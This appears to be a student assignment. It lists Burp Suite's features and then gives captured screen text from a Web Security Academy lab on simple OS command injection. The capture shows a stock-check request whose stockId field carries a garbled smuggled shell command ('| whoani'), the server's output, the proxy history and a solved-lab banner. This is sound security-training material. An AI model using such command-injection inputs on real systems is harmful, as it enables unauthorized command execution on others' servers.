

ASSIGNMENT 4

FUNCTIONS OF BURPSUIT:

Burp Suite is a popular web vulnerability scanner and security testing tool designed for security professionals, ethical hackers, and penetration testers. It is widely used for finding and identifying security vulnerabilities in

web applications. The main functions of Burp Suite include:

Proxy: Burp Suite acts as a proxy server between your web browser and the target web application. It allows you to intercept and inspect HTTP/HTTPS requests and responses, giving you full control over the traffic.

Scanner: Burp Suite includes an automated scanner that can identify a wide range of common web application

vulnerabilities, such as SQL injection, cross-site scripting (XSS), and security misconfigurations. The scanner helps in finding vulnerabilities quickly and efficiently.

Spider: The spider tool is used to crawl a web application, following links and discovering hidden or less

accessible parts of the site. This helps in creating a comprehensive map of the application.

Intruder: Burp Suite's Intruder tool allows you to perform automated attacks on web applications, such as brute-

force attacks, fuzzing, and payload manipulation. It's useful for finding vulnerabilities related to input validation

and session management.

Repeater: The Repeater tool enables you to manually modify and resend individual HTTP requests. This is useful

for testing the impact of different payloads or variations in request parameters.

Sequencer: This tool analyzes the randomness and unpredictability of tokens or session identifiers generated by the application. It helps in identifying weak or predictable patterns that could be exploited by attackers.

Decoder: Burp Suite provides various encoders and decoders for manipulating data formats, such as URL

encoding, base64 encoding, and more. It's helpful for analyzing and crafting malicious payloads.

Comparer: The Comparer tool allows you to compare two responses or requests to identify differences. This is

useful for detecting subtle variations in application behavior that could indicate security issues.

Extender: Burp Suite supports the use of extensions written in various programming languages. You can create

custom extensions to add functionality or integrate with other tools and services.

Target Analyzer: This tool helps in analyzing the target scope, finding related domains, and identifying potential subdomains or endpoints.

Session Management: Burp Suite can manage and manipulate sessions, including the ability to capture and

replay session cookies or tokens.

Reporting: Burp Suite generates detailed reports of vulnerabilities found during scans or manual testing, making

it easier to communicate findings and prioritize fixes.

Snow Delivered To Your Door



\$12.43



Description:

By Steam Train Direct From The North Pole

We can deliver you the perfect Christmas gift of all. Imagine waking up to that white Christmas you have been dreaming of since you were a child.

Your snow will be loaded on to our exclusive snow train and transported across the globe in time for the big day. In a few simple steps, your snow will be ready to scatter in the areas of your choosing.

*Make sure you have an extra large freezer before delivery.

*Decant the liquid into small plastic tubs (there is some loss of molecular structure during transit).

*Allow 3 days for it to refreeze.*Chip away at each block until the ice resembles snowflakes.

*Scatter snow.

Yes! It really is that easy. You will be the envy of all your neighbors unless you let them in on the secret. We offer a 10% discount on future purchases for every referral we receive from you.

Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to order before your existing snow melts, and allow 3 days to prepare the new batch to avoid disappointment.

[Check stock](#)

12 units

[< Return to list](#)

Send Cancel < > Target: https://0afa0a204ff4a2f82f411940080002.web-security-academy.net HTTP/2

Request

1 POST /product/stock HTTP/2
2 Host: 0afa0a204ff4a2f82f411940080002.web-security-academy.net
3 Cookie: session=0ba1b3730b317379g3wMg002gav0Vw
4 Content-Length: 36
5 Sec-Ch-Ua:
6 Sec-Ch-Ua-Platform:
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5943.141 Safari/537.36
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://0afa0a204ff4a2f82f411940080002.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0afa0a204ff4a2f82f411940080002.web-security-academy.net/product?productId=9
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9
18
19 productId=2&stockId=20&7c20uhoani

Response

1 HTTP/2 200 OK
2 Content-Type: text/plain; charset=utf-8
3 X-Frame-Options: DENY
4 Content-Length: 13
5
6 petex-5PgT5b

Inspector

Body parameter

Name
stockId

Value
20

Decoded from: URL encoding
2 | whoani

Cancel Apply changes

Filter: Hiding not found items: hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders 150 items | 240 bytes

Host	Method	URL	Params	Status code	Length	MIME type	Title	Comment	Time request
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/academyLabHeader		101	147				22:53:09.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/		200	10710	HTML			22:50:24.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	POST	/product/stock		200	109	text	OS command injection ...		23:04:45.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	POST	/product/stock		200	109	text			23:04:47.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	POST	/product/stock		200	109	text			23:04:52.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/product/productId=9		200	4962	HTML	OS command injection ...		22:53:08.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/resources/js/stockChec...		200	981	script			22:53:08.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/resources/js/stockChec...		200	291	script			22:53:08.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/resources/labheader/im...		200	8852	XML			22:50:26.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/resources/labheader/im...		200	942	XML			22:50:26.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/resources/labheader/im...		200	707	XML			23:03:47.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/resources/labheader/js/...		200	987	script			22:50:25.300
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/product		200					
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/product/stock		200					
https://0afa0a204ff4a2f82f411940080002.web-security-academy.net	GET	/product?productId=1		200					

Request

1 HTTP/2 200 OK
2 Content-Type: text/plain; charset=utf-8
3 X-Frame-Options: DENY
4 Content-Length: 3
5
6 12

Inspector

Selection
2 (x2)

Selected text
12

Request attributes
2

Request body parameters
2

Request cookies
1

Request headers
19



OS command injection, simple case

[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)